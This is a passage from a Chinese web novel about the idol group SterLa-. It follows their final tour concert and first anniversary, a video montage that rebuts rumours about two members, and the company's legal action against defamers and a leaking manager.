往台下挥手时发现坑里的粉丝们好像在跟他说什么，但现在伴奏声太大他听不清。 台下粉丝们也明白他听不见了，转而都用手指向他左边，示意他看左边，他顺着方向看过去。 糟糕！ 忘记这里要去舞台集合上升降台了！ 江翰飞猛然回神，迅速转身朝舞台中间的升降台跑去。 其他四个人已经站在升降台上慢慢升起，正一边唱着歌一边齐齐看着他。 台下粉丝们哭笑不得地看着他急急忙忙赶过去的背影，见他似乎要冲过去又改口喊道：“别着急，小心！” “江翰飞，别上去了！危险！” “注意安全阿飞！” 只是跑远的江翰飞一点听不见。 幸好升降台的上升速度不快，等他到台边的时候正好升到半人多高的位置。 江翰飞借着冲刺过来的加速度，手撑在升降台的边缘处，双臂用力一撑利落翻上升降台，双腿悬空坐在台边。 在他翻身的时候，台下粉丝一阵惊叫。 于立果见他翻上来坐着，赶紧抓着他后衣领。 旁边的禹安见状却干脆也盘腿坐到升降台上，又学着江翰飞把腿悬空坐在升降台边上。剩下三人一边唱着歌，又默契地互相对视一眼，交换眼神后也一起坐在升降台上。 台下的场控已经快厥过去了。从江翰飞翻上升降台时，他的心率直飙180，见其他几个人也有样学样一起坐在升降台边上时，这180的心率就持续维持着，一直提着一口气。 而SterLa-还正新奇，这是他们第一次体验坐在升降台上的视角。 他们对面就是粉丝们的座位，目之所及，应援棒暖黄色的灯光星星点点地泼洒一地。他们好像是一颗小行星，在浩瀚的星海里航行，面对着无数星星的东升西落。 只觉得无论出道之前有多辛苦，多么难熬，出道之后又有多累，被泼过多少脏水，在看见星海这一刻都变得值得。 江翰飞的站姐旋转镜头，把距离拉得更进，怼着江翰飞的脸拍。 他脸上亮晶晶的，有闪闪的眼影，也有汗滴的反光，但是最亮的还是他的眼睛。黑黑的瞳仁中反衬出一汪星海，又融化在一片高透水晶中，这片水晶正在凝视星海。 她看着这样的江翰飞，莫名有些鼻头发酸。 升降台缓缓降下，五人在舞台上站稳，一齐往舞台最前方走去。趁着舞台的高光打在正在唱rap的葛文山身上，于立果一巴掌拍在江翰飞背上。 这糟心弟弟，之前千叮咛万嘱咐升降台要小心，结果平时乖得很的江翰飞今天翻身上来时吓他一跳。 江翰飞被拍一巴掌也不恼，反而转过头对着于立果突然笑得特别开心。 表演告一段落，吴星雨拿着话筒对着粉丝们说道：“今天时间过得好快啊。” 台下的粉丝们疑惑地看看自己的时间，现在不是才九点半吗？怎么一副要结束了的语气？ “大家也知道，今天呢是我们的巡演的末场，同时也是我们出道一周年的纪念。”吴星雨没有等台下粉丝反应的意思，“所以呢——” “我们给大家准备了一个额外的小节目哦！”禹安轻轻wink一下，一副机灵鬼的样子。说的话引得现场的粉丝们沸腾起来。 “啊啊啊啊！” “我就知道我就知道！” “额外福利！？专属周边吗？？” “是特意准备的一个小环节。”葛文山顺着流程，“问答环境，题目是每个人和队友初见的第一印象和现在的印象。” “哇！” “是不是之前上Hitting综艺那样的互相介绍啊？！” “首先呢是我们的队长。”禹安站在吴星雨旁边，一副主持人的样子，张罗到，“大家有冤报冤有仇报仇了啊！” “哈哈哈哈哈！” “那先从我开始吧。”葛文山站在最左边，“初印象是红头发好显眼。” “现在的印象是队长跳舞编舞很厉害，是个很好的人。” 一轮之后轮到第二个人禹安，他却以自己是主持人为由耍赖，跳过自己，“好！接下来到我们的小弟江翰飞同学！” “不好接近。”葛文山又是第一个说，想起当时在合宿训练第一次见的江翰飞，面无表情也不说话，和自己分到一组时自己还担心过团队讨论配合问题。 “哈哈哈哈哈！” “夭寿了，你个超级盐系冷脸大酷哥居然还好意思说别人不好接近！” 第74章 “那我就不一样了。”于立果举着话筒。他和江翰飞第一次见面在公司的健身房，还是时元引见的。 “当时的阿飞应该说是瘦弱吧。” 斟酌一会儿，于立果给出这个词。 初见江翰飞的时候他实在是瘦，脸颊都有些微微的凹陷，显得颧骨有些突出，这也是网传他整容的最大原因。其实只是因为以前瘦过头而已。 “现在的话。”于立果一边拖长音调，一边斜着眼看江翰飞，“又皮又懂事！” 江翰飞知道于立果肯定是在说他刚刚翻上升降台的事儿，不好意思地摸摸鼻子。 “的确！”禹安接话，“江翰飞就是又皮又懂事！皮的时候让你牙痒痒。” “诶，你不能学我啊！”于立果立马说道，“除非给我转账专利授权使用费。” “美得你！”禹安瞪开玩笑的于立果一眼，“那我改改，第一眼是这人有点装。” “毕竟第一次见江翰飞的时候是在训练期间，他顶着一张刚成年的脸面无表情的，我以为他在装深沉呢！” “哈哈哈哈！” 台下的粉丝们乐不可支，眼睛一眨不眨期待着后面的评价。 “现在嘛！”禹安假装思索一会儿，不乐意地说，“勉强算贴心吧。” “勉强在长得比我都高太多，能不能把腿分一点给我啊？” “哈哈哈哈！”　故作抱怨的语气配上他的哀怨表情又引得粉丝们笑起来。 “安安宝贝你是最美的！” 最后的吴星雨举起话筒，“我就不一样，我见他第一次是他顶着小四十度的天气在我们练习生宿舍外面练舞，所以对他的第一印象是努力吧？” 其他三人不知道吴星雨和江翰飞还有这个交集，跟着粉丝一起竖着耳朵听后续。 刚刚听江翰飞说对吴星雨的第一印象是好人，理由是练习生时期给过他很有用的建议，这已经让他们侧目了，关于吴星雨说江翰飞练舞的事儿还是第一次听说。 “现在的话其实没变过，还是努力。”吴星雨笑笑，“阿飞和袁杰老师的合作曲好听吧？” “当时一边跑合作曲宣传，一边准备我们二专的事情。差了练习都是他自己找时间去补。我记得最过的一次，跑完宣传直接去练习室练习，结果练完太累在舞蹈室睡过去。还是于哥见他一直没回又没接电话，担心地找到练习室才把他叫醒回宿舍。” 台下的粉丝们默默地听着爱豆们未知的生活细节，氛围变得有些低沉。 “阿飞同学，还不快谢谢于哥！”禹安赶紧出来调节。 “一直都很谢谢的。”江翰飞眼神认真，“正好下一个到于哥，那不如我先说？” “哟？”于立果一挑眉，做了个请的手势，倒是想听听江翰飞要怎么说。 末场的这个环节是之前就定下来的，他们也早就知道题目，只是怎么回答公司让他们自己把握。 江翰飞吸口气，“我和于哥认识两年多，很幸运地进公司没多久就遇上哥。第一次见的时候只觉得于哥是个很开朗的人，因为他笑得很爽朗。” 江翰飞很少在台上说这么多话：“现在我对于哥的印象就是：哥。会管我但是也很关心我的那种哥哥的角色。” “以前还开玩笑叫过一次于妈，因为真的很照顾我。” 说完，会场里显得安静过头。台下于立果的粉丝们捂着嘴努力克制住自己哭泣的声音，也许以前她们也有骂过江翰飞，说过公司偏心江翰飞给他好资源，但今天晚上之后，大部分于立果的粉丝都不会再对江翰飞有太大的恶意。 他现在说的这番话，在于立果身陷空降，背刺他的负面词条时意味着什么，不傻的人都懂。 台上的于立果盯着江翰飞还没反应过来。 禹安心里一叹，搅动氛围，“江翰飞什么意思啊？我不是你哥吗？” 他一边说，一边走过去从后面搭住江翰飞肩膀，一副要锁喉威胁他的样子。 江翰飞赶紧说，“都是我哥，我不是都叫你们哥吗？” 禹安止步，一副这还差不多的样子，“放过你了哈。” “哈哈哈哈！”台下安静的氛围终于被打破 ，零碎的笑声散落在场馆中。 “那我干脆接着说了，那对于哥的印象肯定是音色超级好。”禹安想快速切断刚刚低沉氛围的蔓延，赶紧说道，“我们一起合宿的时候他太厉害了，一听他那个沙沙的音色，我直接震惊好吧！简直音色流氓！” “确实。”葛文山配合接过话题，“和阿飞的声音也很好搭，最后一期合宿训练他们的二重唱非常好听。” “那现在呢？”吴星雨则接过主持人的角色，对着葛文山和禹安问道。 禹安想了想，一边说一边比了个大拇指，“超级细心，而且声音真的很好听。” “很为别人考虑。”葛文山也说道，“很厉害。” “诶，等等！你们都把词说完了，那我说什么？”吴星雨突然反应过来，一副震惊的样子看着几人。 禹安被这夸张又虚浮的表演刺激得一个激灵，不客气地当着吴星雨的面抱住双臂，摸摸自己不存在的鸡皮疙瘩。 大屏如实转播着几人的互动，逗得台下的粉丝们又笑起来。 于立果不知道什么时候回过神来，站在旁边抱着手，笑眯眯得看着台上其他几人互动。 直到所有人都说过一遍，整个特别环节结束，他的表情也一直没变地笑着。 “好啦！”禹安拍拍手，“感谢各位的真情表达，让我知道我到底长得多好看了。” “哈哈哈哈” “对！！宝宝你就是最美的！” “天下第一美！” “噢，那我是知道大家对我当初染的红头发的印象到底有多深。”吴星雨接过话头。 “那我们的特别环节到这儿就结束了，大家还满意你们听见的吗？” “满意！” “不满意！” “啊？怎么还有不满意的啊？”吴星雨大惊失色。 “不满意！时间太短了！再讲一百年！！！”台下有一道特别大的声音传入大家耳朵。 “哈哈哈哈对！” “再讲一百年！！” “一百年啊。”禹安摇摇头，“各位，那我们真成妖精了。” “可建国之后不准成精啊！” “哈哈哈哈！” “时间是真的过得很快。”江翰飞笑着说。 台下的粉丝看看时间也知道，是真的快结束了。 只是之前的几场演出结束曲是一专的《钢铁丛林》，现在它成了开场曲，那结尾曲是什么呢？ 管风琴宏大的声音告诉了他们答案。 “接下来，请欣赏我们的《唇枪舌剑》。” “让我们一起享受，最后的舞台吧！！” 吴星雨在台上喊得声嘶力竭，额角都暴起青筋。 “喔——！” 效果很明显，台下的粉丝们被一嗓子喊得浑身发热，跟着呐喊起来，“啊啊啊啊！！！！” 随着伴奏渐进，场上的转播大屏突然切出视频画面，是一个人站在舞蹈室最后怯生生的样子。 “卧槽！是江翰飞！” “是那个黑热搜上的视频！？” “怎么回事？为什么会在巡演的末场放这个？！！” “舞台事故？” 下一秒场内大屏的画面变成了葛文山当初刚进公司的第一天。那时的葛文山还没有现在这么瘦，身体有健壮，上rap课的时候虽然还很拘谨，但是已经能看出一些特有的范儿。 “啊啊是周年特别VCR吗？！” “是葛文山吗？” “他以前就这么高啊？！” “那时候好像比现在胖很多。” 画面又一转，变成于立果第一次上舞蹈课，站在教室最右边的位置，眼睛一眨不眨地盯着老师却仍然手忙脚乱的样子。 “哈哈哈，于哥当时的舞蹈真的很辣眼睛啊哈哈哈” “我看到标注的时间了，是三年前！！” “我的小花明明已经练习了好久，明明是靠自己能力成团的啊！” 于立果的粉丝忍不住哽咽地看着画面里还很青涩的于立果，等画面切到下一个人时，已经是泪流满面。 他们撑了太久。网上铺天盖地的漫骂和抵制，公司一反常态的沉默，粉圈内不断有人离开，不断有不知真假的粉丝到脱粉回踩的bot里投稿。 她们一边担心于立果看到会不会难受，担心他会不会真像网上传的那样，被公司要求退团。一边还要强装没事的样子，跟着大粉们稳定粉圈的情绪，用最客观的语气和路人科普，于立果不是中途空降，是练习了好几年的练习生。 就在看巡演之前，她们中的不少都还在网上跟黑子对骂，还在互相打气，相信自己的眼光，相信自己的爱豆不会是黑子说的那种人。 大屏放完五人第一天进公司的样子。再切就是他们练习生中途的样子，每个小短片旁边都标注着时间，把他们第三个月，第六个月，第一年的样子都放给他们看。 仿佛就在说，我们坦诚着所有，请你们相信我们。 “真话假话，瞬息万变；崩塌重建，两语三言；”唱到《唇枪舌剑》这句词时，大屏上正好播放到江翰飞练习第六个月的样子。 那个时候的江翰飞的舞蹈已经有模有样，再看面部轮廓和现在已经大差不差。 台下的粉丝们也终于明白，为什么要把唇枪舌剑放到巡演末场的最后。 还有比这更真诚的表达，更有力的反击吗？ 她们难以抑制地跟着歌词一起唱起来，“嘈杂声浪冷光暗藏，信念作桨，飞越这荒诞战场。” 一边唱，一边看着大屏幕一幕幕的切过自己爱豆从练习生时期到一专，二专，到巡演。他们练习，受伤，失败，站起，疲惫，重复，最后是现在站在台上星光闪烁的他们。 “如果这也是谎言，让我就此坠入深渊。” “SterLa-！SterLa-！” 人声如潮。粉丝们奋力呐喊，用声音表达自己的情绪，表达自己的态度。 “吴星雨！葛文山！于立果！禹安！江翰飞！SterLa-！！！！” 台上的五人缓过气，在满场应援声中无声站立几秒。 江翰飞掌心湿润，扯扯身边两人的衣服，几人交换一个对视。 “大家，我们一周年啦！” “一周年快乐！希望下一个周年，我们依旧同行。” 五人手牵手，举高，深深鞠躬。 “啊啊啊啊！！！！” “呜呜呜呜——！” “会的，我们会一直在一起。” “SterLa-一周年快乐！” “吴星雨！葛文山！于立果！禹安！江翰飞！SterLa-！！！！” 全场的应援声更加整齐。每个人用尽全身力气为他们呐喊，仿佛在为他们助威。 五人保持鞠躬姿势好一会儿才直起身来。 朝着各方的粉丝们挥手道谢，“谢谢大家！！” “有你们在，我们真的太幸福啦！” 第75章 巡演落下帷幕。 不同的是，这次的巡演结束，粉丝们一个个走出去，眼眶全是红红的，一眼看过去就知道肯定是哭过的样子。 外面一大堆准备接客的出租车司机，跑了好几趟的一位司机大哥见上来这两个小妹乖乖巧巧的，实在是忍不住问道，“小妹啊，我问下你啊？” 两位结伴来的女生听见司机师傅突然搭话，顶着红肿的眼睛警惕抬头，“怎么了？” “就是我跑了好几趟了哦，每一趟你们这些小妹儿都是哭过的一样，你们在里面是干啥子了哦？” 女生对着圈外人实在说不出自己是因为自家爱豆被别人欺负，自己心疼他哭的。斟酌一会儿才说道，“我有个朋友。” 司机大哥见女生愿意细说，立即关掉了车里吵闹的收音机。 “就他平时很认真很努力。但是之前呢他家里条件不太好，整个人的营养跟不太上，还出去打工，导致他又黑又瘦的。后来他终于进入了一家行内有点名气的公司，公司的食宿条件还可以。他就一边在那儿努力练、上班，一边认真吃饭锻炼。慢慢就长好了，工作上也进展顺利。” “他们公司就选他做代表去市场上竞争，他和他的组员很努力，终于抢下一些项目资源。这个时候就突然有人跳出来，说他现在长得好是因为他整容，说他能获得成功都是他家里从别人那儿抢的资源塞给他。” “不仅自己到处骂他，还老带着别人一起八卦，一起骂他。” “嗨！”司机大哥叹口气，“你们这朋友啊就是倒霉！那些说他的人都只是自己嘴上能叭叭，实际上他们啥也不会，不然怎么只敢在背后说人不敢当面对质呢？” “你说是吧？” “嗯嗯，就是就是。” “司机大哥你太懂了！” “那我们也是行走江湖十几年的。”司机大哥得意，“你们要知道，这种人肯定有很多的，就眼红别人的成就，以为没别人那成就就该轮到自己。” “其实哪儿能啊，能成早成了！还是自己能力不够！” “你们以后遇到这种事儿可不要哭，你们越哭那些人可越得意。”司机大哥热心地传授人生经验，“你们得把他们打痛。这就跟训恶狗一个道理，痛了怕了，它才不敢随意咬人。” “这一棒，得再打狠一点。”唐君君跟公关部负责人说道。 “还不够狠？”负责人坐在对面，翘着二郎腿，“这些不是源头，先放过这群营销号，起诉就够把他们吓得夜不能寐了。” 她点点桌子，推给唐君君一份文件，“这个才是重头戏。” 唐君君接过翻看，脸色越看越差，到最后一页的时候脸黑如锅底，眼神冰冷。 对方给她的这份文件上是有关近期江翰飞和于立果两件热搜事件的追溯。追到最后，源头的交易账号都是同一个人，在公司内部网里一匹配，出现在报告上的人让唐君君第一次感到后悔。 “你打算怎么办？”唐君君问道。 “我打算怎么办？”负责人似笑非笑地看着唐君君，“你别搞错了，就像你说的，我是公关。” “可不是警察。” “但这个人继续存在，你的公关部也不得安宁吧？”唐君君放下报告，回问道，“况且，按照你的性格，如果不是想干点什么，怕也不会带着报告来我这儿？” “毕竟就像你说的，作为公关，你的任务在全网舆论翻盘的那一刻，就已经结束了。” 负责人微微蹙眉，一副美人娇俏的样子，“诶，跟你说话真是半分好讨不着。” “得了。”唐君君侃她一眼，“有这演技要我说真不如去当女演员，在乐狮当公关部部长实在浪费你的才华。” “行，那就直接开演？”公关部负责人挑眉问道。 “可以，我来搭台。”唐君君这次是下了狠心要把那个人从源头根除。 “成交。” 今晚粉圈大事件头条当属SterLa-在巡演末场直接贴脸澄清，放出他们五人从进公司到现在的阶段照。后来作为结束曲的《唇枪舌剑》录下的视频有几百个版本解读出现在网上各个平台，意外地又带起歌曲音源。中间副歌部分也在某短视频平台上走红，这都是后话了。 现在第二大事件就得算乐狮公司正式对先前造谣江翰飞整容，于立果空降的营销号以诽谤罪提起诉讼，起诉名单密密麻麻列了一大串，但凡符合要求的都在上面。 这些营销号先前在这件事情上赚流量赚得有多开心，现在删视频的动作就有多迅速。 “哈哈哈哈笑死我了，我顺着名单一个个看，那名单跟阎王帖似的，点到的一个个删视频比我点红包的速度都快。” “那可是诽谤罪可是立案的，不是发个律师函公告就结束的事儿。” “乐狮公关部可真刚啊，但是这种也不太好吧，你看他们这次晚了一点，大家都猜他们是默认，而且路人们早就不关心这件事情的后续了，只记得SterLa-的负面影响，也不知道这是不是好事儿。” “路人能赚多少啊？你记住，男团赚钱靠死忠。” “那也不能这么说，SterLa-音源基本盘在的，之前的路人缘应该不错。” “醒醒，那是靠袁杰合作单曲带来的，没了袁杰谁还带他们粉丝盘啊？” “也不亏啊，看到的路人本来就是爱吃瓜的，现在热搜上明晃晃挂着的#SterLa- 正面澄清还不够路人们看的吗？” “又上热搜了？乐狮该不是买了热搜包年吧？” “也不看看其他男团换个衣服都能营销上热搜，SterLa-这已经算收敛了。” “SterLa-一周年快乐！！终于可以开开心心过周年了！” 朱朱回到家瘫倒在沙发上，还没完全从巡演的情绪里抽离出来。这次的巡演她跟的全程，跟着跑了好几个地方，现在又累又难过，一点儿不想去修图传视频。 她懒懒地打开手机，刚登上账号又在热搜上找到了自己的小爱豆。 点进热搜词条#SterLa- 正面澄清，里面是演唱会最后一首歌的录像视频。 这么快？ 录像视频里重点截取了现场大屏的视频，镜头拉得很近，应该也是用高清设备拍摄的。 她百无聊赖地分析着。又点进第二个视频。 第二个视频是做过处理的。现场的视频是一轮一轮地播，这个上传的人又把单人的片段单独剪在一起，能看到每位成员进入公司之后的大致成长轨迹。 成员单人视频里播放次数最多的就是有整容谣言的江翰飞，其次就是有空降传闻的于立果。 点开江翰飞的成长视频。虽然在现场已经看过一遍，现在放在一起看又有不一样的感觉。 朱朱本就不反感整容，只要不太过分。 况且万叶从中过，片叶不沾身的她在遇见江翰飞之前，看过太多男团爱豆，也太知道整容的人做出来的表情是什么样。作为江翰飞的站姐，拿着摄像机怼着江翰飞脸拍的人，她怎么可能不清楚江翰飞脸上有没有整容痕迹。 所以从一开始她就很坚定，没有受到过黑子的影响。甚至在热搜出来后看着他黑黑瘦瘦的样子更多的是心疼。 推算一下时间，加入公司的时候好像才成年。参加Hitting综艺的时候挑战咖啡拉花，说自己做过；漆都磨掉的烂手机还是自己打工买的；甚至练习生时期还在打工 朱朱越想越心疼，尤其想到在她下午刷到一个论坛贴。 那个论坛贴里在扒江翰飞到底是不是真在练习生时期打过工。 帖中有个自称有家人在乐狮工作的人脉姐说自己家人见过江翰飞打工，打工保真，最后是被人举报掉没再打工的，但更具体的不能说，涉及保密条款而且江翰飞打工的地方很小，容易爆马甲。 越是藏藏掖掖的样子，大家越信服。 中途也有人质疑，乐狮的练习生都是封闭园区管理，每次外出都是要跟管理人员报备的，怎么可能打工。这位人脉姐接着就透露，是因为有人特地打了招呼，才有这个职位。 这话一出，本来相信的人反而不信了。 有能力打招呼让你打工不能直接帮人吗？而且江翰飞练习生时间也不长，上次也证明他没什么背景，凭什么打个招呼就能让他有工作的人会帮他啊？过了好一会儿这个人脉姐才回复，又隐隐约约透露，说是于立果帮忙打招呼的。 后来这个帖子越说越玄乎，渐渐沉底。 但朱朱却看进去了。练习生时期的努力从队友们零碎对话中早有耳闻，练习都从早到晚，还得抽时间去兼职，最后兼职甚至还被别人举报。他在中间吃了多少苦，有多少委屈。不得而知。 而且江翰飞是一个很重视舞台质量和粉丝的人。 今天巡演舞台上，江翰飞能这么明显地维护于立果，朱朱也愿意相信江翰飞的眼光。 她的镜头一直聚焦在江翰飞身上，没有错过江翰飞翻上升降台之后于立果马上紧紧抓住他后脖子衣领的样子，那是很紧张江翰飞没坐稳，怕他摔下去。 也没错过下了升降台，于立果不知道是不是说了江翰飞什么，江翰飞转过头对着于立果笑得特别灿烂。 朱朱追江翰飞行程这么久，自信地说，江翰飞所有的行程加起来如果有一百场，大概99场朱朱都在。而这99场表演里，少有比这个笑更加灿烂的。 是一种放肆的放心的，不带任何狂野却显得自由的笑。 笑得很好看，嘴边只有大笑时才能隐隐出现的梨涡都露出了深深的踪迹。 想到这儿，终于有了修图的动力。 朱朱放下正在刷的手机，转而又拿起今天的摄像机，把图片导出，开始修图。 第76章 巡演结束后，站在退场通道里的SterLa-几人心里也空落落的。这段时间他们整个人都沉浸在巡演中，现在猛地结束了，一时间难以抽离。 “结束了啊——”吴星雨靠在过道上，眼睛还看着出口处，懒懒拖着语调。 其余几人没接话，沉默地站在退场通道口看着观众席，看着他们的应援棒一个个的熄灭，然后退场。 好一会儿，欣怡从那边过来催促卸妆。 “走吧。”于立果转身一把揽住江翰飞的肩膀，“还会有下次的。” “嗯。”江翰飞转过头，“一定会有下次的。” 第二天他们也只休息了一个早上，第二天下午得去公司开会。二专发售前，三专已经在同步筹备，只先前他们优先巡演事宜没有过多参与。现在巡演结束，三专和今年的颁奖季准备就该开始了。 “啊啊啊真不想去开会。”禹安嘟囔着抱怨。 他们五人趁着今天早上休息有时间，又跑去葛妈妈家蹭饭了。对比上次，这次可是轻车熟路，又吃了个肚饱溜圆才回来。 “那是必须去的。”吴星雨头也不抬。禹安的话听听就行，说着不想去，准备的时候比谁都积极，“听说是要跟我们细说三专和今年年末表演安排的。” 会议室内，两边坐着负责三专制作和年末舞台设计的团队，SterLa-坐在唐君君对面，听他们安排近期的工作。 “这次的奖项我们入围了最佳MV，最佳专辑和最佳男团舞蹈。”唐君君看看主办方那边给过来的提名奖项，“最佳专辑我们尽力争取，不用报太大希望。最佳MV和男团舞蹈成绩是够的，公司这边会帮忙运作。” 五人了然，没有异议。 最佳专辑是所有人都在追逐的奖项，与最佳歌曲，最佳艺人并称三大奖，是每年颁奖礼的重头戏。并且三大奖项并不区分性别，也不区分偶像还是歌手，只看成绩。因此但凡能拿到这三大奖中的其中一个，必然是在过去一年里有足够亮眼出圈的成绩。 去年的颁奖季他们拿到了男团最佳新人奖，今年开始就得跟出道前辈们竞争奖项。能有三个提名已经是他们今年努力的结果，不求最佳专辑，只求剩下两个提名能顺顺利利到手。 “另外还有几个拼盘演唱会和慈善晚宴的演出行程，晚点欣怡会把具体的行程表发给你们。”唐君君手指扣扣桌面，吸引众人注意力，“巡演算是圆满结束。但今年对你们发展有多重要不用我多说，到春节之前，这几个演出行程，颁奖典礼和三专筹备就是你们的核心任务。” 五人老实听着没说话，但明白了唐君君的意思。到春节之前，大概率会一直维持着比巡演准备期还要忙碌的行程。 果不其然，唐君君下一句话就是，“所以到今年春节前，你们不会再有假期。” “有意见吗？” 几人摇头，吴星雨代表SterLa-回答，“没有。” 见他们面上也没露出不满的神色，唐君君心里庆幸自己带的人脑子都挺清醒的，“今年接下来的时间，也好好努力吧。” “哦对了。”五人以为已经结束准备起身时，唐君君又叫住他们，“唐经纪人因为个人原因已经从公司离职，接下来会有新的执行经纪人带你们，具体的欣怡会告诉你们。” “没事了，去吧。” 临着会议结束，突然被告知之前负责他们的人被开除了。五人有些懵逼地从办公室里出来，互相对视一眼，赶紧往外走。 保持着安静一直到回宿舍的林荫道上，吴星雨四下看看没人才低声开口，“之前我被君君姐单独叫去公司，从她那儿出来的时候遇见我们公司公关部的负责人了。” 其余四人齐齐看着他，禹安眼睛一眯，“你是说那个姓唐的会走跟君君姐和公关部的人有关？” 那个姓唐的自从调到他们这儿就没干过什么好事儿，工作能力不说一塌糊涂，简直约等于无。且人品极差，连团队里性格最好最温和的妆造师都对他很有意见。 在SterLa-的团队看来，他实在是人嫌狗憎，也不知道之前怎么能干上经纪人这个位置。 吴星雨听禹安问题没回答，转头看向于立果，其余几人自然也跟着看过去。 于立果被几双眼睛看得一愣，反应过来之后无语地笑出声，“你们真是” “快说快说。”禹安悄悄把头凑近，急急催促道。 “因果反了。”于立果把事情在脑子里一转，好像确实没有什么不能跟这几个人讲的，“是因为这次我和阿飞黑热搜的事儿就是那个姓唐的卖出去的消息。” “居然是他？！”吴星雨一惊。他们公司有内鬼的事儿，几人早猜到了，只是之前一直在怀疑是不是哪个练习生管理或者其他容易泄露消息的岗位被人买通。结果居然是这个姓唐的！ “他在这么显眼的位置，直接卖消息就不怕公司查到他吗？”禹安不解。 这不是明晃晃地暴露自己吗？ 真有人这么蠢？ “但在于哥说之前，我们不是都没怀疑过他吗？”江翰飞反应过来，这不就是典型的灯下黑吗？ 其他几人一顿，转念一想还真是这样。 SterLa-他们本身，或者进了SterLa-的人都清楚，大家一荣俱荣一损俱损，SterLa-走下坡路大家谁都讨不了好。相反如果SterLa-发展越来越好大家都能拿到项目奖金。 君不见市场部那些人有多想负责SterLa-这个团，何乐不为呢？ 但是这个人可不是第一次干这种损害自己家爱豆的事儿了。先前在时元那儿，不也对自己手底下的爱豆不闻不问吗？ “之前他不是还卖过那些品牌方我们的假消息吗？这事儿被君君姐和小家电品牌方的负责人联手在圈内把他干的事儿翻出来，后来他在品牌方那儿名声臭了，讨不到好处。”说到这儿，于立果想到对方就皱眉，“所以他转头就跟我们公司的竞争对手联系上了。” “难怪那些人能拿到公司的监控视频。”他们也反应过来。 “也正是因为他蠢到拿公司的监控视频出去，才锁定到他。然后君君姐和公关部负责人就趁着这个机会联手把他搞出去了。”于立果想起自家老爸说起对方在办公室大放厥词的事情，瞄了一眼江翰飞。没说对方会放出江翰飞的黑料，是因为上次时元被私生围堵在酒店的事儿被阿飞捅出来，结果让他丢脸又降职，这才想伺机报复江翰飞。 反正就算他说了，江翰飞下次遇见这种事儿，也还是会去找时元。 讲完自己知道的部分，于立果没好气地看着几人，“这下满足你们的好奇心了吧？” “嘿嘿，果然还是吃一手瓜才有意思。”禹安嘿嘿笑几声退到江翰飞身侧，完全不在意于立果的语气。 吴星雨刻意挑衅他，“收敛点吧你，被你粉丝看见你现在的猥琐样子，估计要心碎了。” 见禹安笑着的脸一垮，马上又要跟吴星雨吵起来，江翰飞赶紧往前站一步，“那他现在是被公司开除了吗？” “肯定不会这么简单啊。”果然禹安的注意力理解被引到这件事上，“都这样了，公司不得狠狠跟他索赔。” “也许吧，反正跟我们没关系了。”于立果无所谓地笑笑，“跟着我们好几个月，总共就挖到点这些东西，没必要再在意他。” 他们每个人什么行程什么性格彼此了解，要真有什么见不得的黑料，他们还能不知道？ 只要做好自己，剩下的就交给公司。 就像他老爸说的，他们是当偶像的不是干管理的，专心做好自己本职就够！ “说的对。”葛文山沉默着吃完整个瓜，“不如想想三专和年末舞台。” “阿飞之前你不是说有个什么想法吗？” “嗯，是的。”江翰飞被葛文山提醒，想起之前在脑子里盘旋好久的想法，“那个，就是我们能不能自己做一首歌呢？” 每年年末总是热闹又忙碌。 粉丝们一边忙着给自家爱豆给各大颁奖典礼投票，一边期待着今年颁奖季会看到什么新舞台，又有什么好玩儿的事儿会发生。 而对江翰飞的小蝴蝶们而言，今年除了在投票上要跟前辈团们大干一场外，更重要的是江翰飞的生日。 去年SterLa-刚出道不久。江翰飞生日过得很简单。正好撞上最大的颁奖典礼举办时间，作为新人正忙着跑颁奖典礼行程，拜访公司发列出需要去拜访问好的前辈们，哪有额外的时间能给他单独庆祝。彼时粉丝数量也不多，粉群也不完善，粉丝们连往哪儿寄礼物都不知道。最后以几人聚在一起，一人尝了一口君君姐买的小蛋糕结束。 今年可不一样，小蝴蝶们从江翰飞巡演期间就开始筹备生日专项资金，定制礼物。 线下生咖免费发放的物料和大屏宣传也早早地提前准备着，还有站姐和画手开放授权，或者自己制作物料给线下生咖加码。 超话里热热闹闹，长期置顶的生日筹备相关贴几乎每天都在更新。 就在各家热火朝天的准备里，今年第一个颁奖典礼如期而至。 SterLa-几人正坐在车里安静等待着出场，车窗忽然被砰砰敲响。 第77章 江翰飞猛然抬头，警惕地看向副驾驶位置上的欣怡，一边蹙着眉侧耳听着外面的动静。 其余四人也停下手里的动作，齐齐盯着欣怡。 这可马上就到他们入场了。 欣怡被突然敲响的声音吓了一跳，回过神正准备凑近一看究竟，就听外面的人在喊，“请问是SterLa-老师们吗？” 司机师傅看半天后视镜，嘀咕着，“好像是工作人员咧。” 这一小段因为要举行颁奖典礼早早封路，周围都是媒体，不可能有私生会疯狂到这种程度吧？ 这样想着欣怡按下车窗，看见真是挂着工作牌的工作人员悄悄松口气。 后排一直看着情况的几人身体也跟着放松下来。 只没等欣怡这口气松完就听工作人员着急地问，“Sterla-的几位老师能先入场吗？” 先入场？ 欣怡略略探头看眼前面排着的2辆车，皱眉不解，“这还没到我们的顺序吧？” “呃呃，那、那个。”工作人员似乎也是个新人，被欣怡一追问，支支吾吾地也说不上原因，手里的手机一直震个不停。 瞧眼手里不停震动的手机，像是被什么吓了一跳，再抬头时带着几分哀求地看向欣怡和SterLa-几人，“就，就是临、临时出了点状况，现在这个男团有、有事儿得把顺序往、往后挪。” 欣怡年龄不大，面相生得柔和。工作人员估计也看着她像个好说话的，一个劲儿地向着欣怡哀求，“帮帮忙吧！就是换个顺序而已，没什么的。” 没料到欣怡听完后十分冷淡地直接拒绝，“我做不了主，找别人吧。” 说完欣怡干脆地按下了关窗键。 刚刚还面露哀求神色的工作人员几乎是一秒变了神色，恶狠狠地瞪了欣怡一眼，又低头看看震动的手机，赶紧往SterLa-前面一辆车跑去。 江翰飞几人坐在后两排看完全程，无意识地微微张着嘴。 莫名其妙？ 原本神色冷淡的欣怡转过头来看着他们几人如出一辙的神情，噗嗤乐出声，“你们几个的表情动作真是越来越同步了。” SterLa-几人回过神，颇有些尴尬地闭嘴。 居然在熟人面前露出这种表情，未免也太丢脸了吧！ 葛文山神情恢复得最快，看着还笑着的欣怡问道，“这是？” 欣怡收敛神色，不在意地挥挥手，“肯定是前面有人耍大牌，导致红毯空场了，他们正找人救场呢吧。” “红毯顺序不是早定好的吗？”江翰飞疑惑。 他记得君君姐和欣怡姐给他们的行程表单里还特别标注了他们这次的出场顺序和预计时间。 “那也不耽误别人想耍大牌啊。”禹安抱起双手懒懒道，“我猜是轮到顺序但就是故意不下车吧？” “之前看过这种传闻，故意‘冷场’几分钟，这样出场的时候反应会更好。” “没错，是这样。”欣怡点头认同，“只是这后果” 